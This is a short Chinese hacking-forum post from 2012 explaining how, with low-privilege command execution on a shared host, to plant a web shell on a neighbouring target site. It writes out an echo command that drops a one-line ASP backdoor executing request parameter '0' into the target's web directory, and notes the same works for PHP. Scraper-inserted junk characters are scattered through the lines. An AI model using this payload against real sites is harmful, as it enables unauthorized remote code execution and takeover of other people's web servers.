找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1889|回复: 0
打印 上一主题 下一主题

旁注cmd低权限下拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:40:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。
7 Z& c; F7 j, ^4 H/ w3 A4 r; D1 X+ k6 M
命令格式
4 `: O2 ]7 V$ A  V& i5 ^* H- a* |* o' I  B7 R3 h3 [: v9 G! I5 U. k
Echo 语句 >目标站绝对目录
8 V8 U- h! ?, J* n4 C0 [( V( J
5 K* g* X  t6 ?! R例如:
# L4 a0 G6 ~3 E0 |2 J! T9 a% ?1 d/ k  ~9 ^" D
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp! g0 I% t9 K& f

% ]  |+ B, W" \这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。- [- T9 d( b9 F, I' y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表